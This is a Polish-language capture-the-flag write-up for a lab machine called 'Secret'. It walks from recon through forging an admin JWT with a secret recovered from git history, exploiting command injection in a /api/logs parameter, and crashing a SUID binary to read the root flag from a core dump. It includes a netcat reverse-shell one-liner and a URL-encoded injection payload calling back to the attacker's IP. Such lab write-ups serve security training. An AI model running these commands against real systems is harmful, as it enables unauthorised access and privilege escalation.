Secret - 04.11.2021
NMap
┌──(kali㉿kali)-[~/Desktop/secret]
└─$ nmap -sC -sV 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-04 00:21 CET
Nmap scan report for 10.10.11.120
Host is up (0.068s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne
FeroxBuster
└─$ feroxbuster -u http://10.10.11.120 -w /opt/SecLists/Discovery/Web-Content/common.txt -d 2 -t 50
200 1l 12w 93c http://10.10.11.120/api/experiments
200 1l 12w 93c http://10.10.11.120/api/experiments/configurations
200 1l 12w 93c http://10.10.11.120/api
301 10l 16w 179c http://10.10.11.120/assets
301 10l 16w 183c http://10.10.11.120/download
200 486l 1119w 20720c http://10.10.11.120/docs
301 10l 16w 187c http://10.10.11.120/assets/css
301 10l 16w 193c http://10.10.11.120/assets/images
301 10l 16w 185c http://10.10.11.120/assets/js
301 10l 16w 195c http://10.10.11.120/assets/plugins
301 10l 16w 211c http://10.10.11.120/assets/images/features
301 10l 16w 213c http://10.10.11.120/assets/plugins/lightbox
200 21l 170w 1079c http://10.10.11.120/assets/plugins/lightbox/LICENSE
301 10l 16w 223c http://10.10.11.120/assets/plugins/lightbox/dist
301 10l 16w 231c http://10.10.11.120/assets/plugins/lightbox/examples
200 659l 1852w 37774c http://10.10.11.120/assets/plugins/lightbox/index.html
Strona główna
Okazuje się, że na stronie można pobrać source code projektu. Warto tam zajrzeć.
Po przegrzebaniu paru plików znalazłem ciekawe linie:
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXR oLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg
hljs-string:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuY W1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg
Strona http://10.10.11.120/docs zawiera opis rejestracji, logowania, weryfikacji użytkowników.
Zatem przystępuje do stworzenia użytkownika.
Wysyłanie POST requesta z użyciem curl
Rejestracja:
curl -i -X POST -H 'Content-Type: application/json' -d '{ 7 ⨯
"name": "suchy1",
"email": "test@mail.com",
"password": "password123"
}' http://10.10.11.120/api/user/register
Logowanie:
curl -i -X POST -H 'Content-Type: application/json' -d '{
"email": "test@mail.com",
"password": "password123"
}' http://10.10.11.120/api/user/login
W odpowiedzi dostałem token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4
Próba logowania:
curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4'
Odpowiedź:
{"role":{"role":"you are normal user","desc":"suchy1"}}
Tutaj nastąpiło zacięcie.
Jak się okazuje, to projekt zawiera .git
. Po wstępnym przeszukaniu nic ciekawego nie znalazłem.
Projekty gita często zawierają brache, commity i inne ukryte rzeczy, które można wydostać. Z pomocą może przyjść apka GitTools
https://github.com/internetwache/GitTools
Użycie GitToola Extractor
./extractor.sh ~/Desktop/secret/local-web/ ~/Desktop/secret/local-web/backup
Szuka frazy TOKEN_SECRET
oraz 2 linie przed i po
ack 'TOKEN_SECRET' -A 2 -B 2
Dzięki temu udało się znaleźć jakiś token.
2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Kolejne zacięcie …
Okazuje się, że trzeba przeprowadzić Forging JWS Token
, czyli po części podrobienie takiego tokena.
jwt_tool czyli Forging JWS Token
Narzędzie:
https://github.com/ticarpi/jwt_tool.git
Zatem tak wygląda podrobienie. theadmin
, ponieważ w pliku .js było wyraźnie podany jaki nick ma administrator. Pierwszy ciąg to znaleziony TOKEN_SECRET
, drugi to mój oryginalny token, który wyrzucił system przy próbie logowania.
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4
W ten sposób otrzymałem taki token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg
Próba weryfikacji udana
curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Logs??
Przy /api/logs
, system wyrzuca
undefined
może wskazywać na potencjalny command injection.
api/logs?file=/etc/passwd
-> {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}
Trzeba zatem zastosować jakiś CI.
:-)
Wyjątkowo długo szukałem działającego reverse shella. Bashowy nie działał, ostatecznie udało się uruchomić reverse shell Netcat OpenBsd
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 9001 >/tmp/f
Zatem uruchamiam payload
curl "http://10.10.11.120/api/logs?file=/etc/passwd||%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%33%30%20%39%30%30%31%20%3e%2f%74%6d%70%2f%66" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg'
I otrzymuję shella na oknie nasłuchiwania.
user.txt
df442912b85bdbc5da14c0b9b87d141c
Privilege Escalation
SUID
Wiadomo, że /opt/count
uruchamia się jako root. Jak można to wykorzystać?
W kodzie jest nietypowa komenda setuid(getuid());
. Google odesłał mnie do bloga:
https://c-skills.blogspot.com/2008/01/evilness-of-setuidgetuid.html
Linpeas wyrzucił też /var/crash
jako folder posiadany przez obecnego użytkownika
Okazało się, że w środku znajdują się pliki .crash
z programu /opt/count. Natomiast nie było w nich nic ciekawego. Natomiast z artykułu wynikało wyraźnie, że funkcja może odczytać pliki, które wymagają roota, jeżeli będzie zastąpiona przez inny PID bądź scrashowana.
Zatem program /opt/count
został uruchomiony, została podana ścieżka do flagi.
Na drugim monitorze odbywała się obserwacja, czy proces count
się pojawi. Za którąś próbą program pojawił się.
kill -11 30640
ls
_opt_count.1000.crash
Pojawił nowy .crash. Aby go odpakować należy użyć apport-unpack
apport-unpack _opt_count.1000.crash test
cd test
ls -al
total 436
drwxr-xr-x 2 dasith dasith 4096 Nov 11 20:16 .
drwxrwxrwt 3 root root 4096 Nov 11 20:16 ..
-rw-r--r-- 1 dasith dasith 5 Nov 11 20:16 Architecture
-rw-r--r-- 1 dasith dasith 380928 Nov 11 20:16 CoreDump
-rw-r--r-- 1 dasith dasith 24 Nov 11 20:16 Date
-rw-r--r-- 1 dasith dasith 12 Nov 11 20:16 DistroRelease
-rw-r--r-- 1 dasith dasith 10 Nov 11 20:16 ExecutablePath
-rw-r--r-- 1 dasith dasith 10 Nov 11 20:16 ExecutableTimestamp
-rw-r--r-- 1 dasith dasith 5 Nov 11 20:16 ProblemType
-rw-r--r-- 1 dasith dasith 7 Nov 11 20:16 ProcCmdline
-rw-r--r-- 1 dasith dasith 4 Nov 11 20:16 ProcCwd
-rw-r--r-- 1 dasith dasith 53 Nov 11 20:16 ProcEnviron
-rw-r--r-- 1 dasith dasith 2144 Nov 11 20:16 ProcMaps
-rw-r--r-- 1 dasith dasith 1338 Nov 11 20:16 ProcStatus
-rw-r--r-- 1 dasith dasith 2 Nov 11 20:16 Signal
-rw-r--r-- 1 dasith dasith 29 Nov 11 20:16 Uname
-rw-r--r-- 1 dasith dasith 3 Nov 11 20:16 UserGroups
Najważniejszy jest plik CoreDump
strings CoreDump
I w środku loga widać, że wykonał się odczyt flagi.
root.txt
dc2a839efda9881e75fd6d59603755dc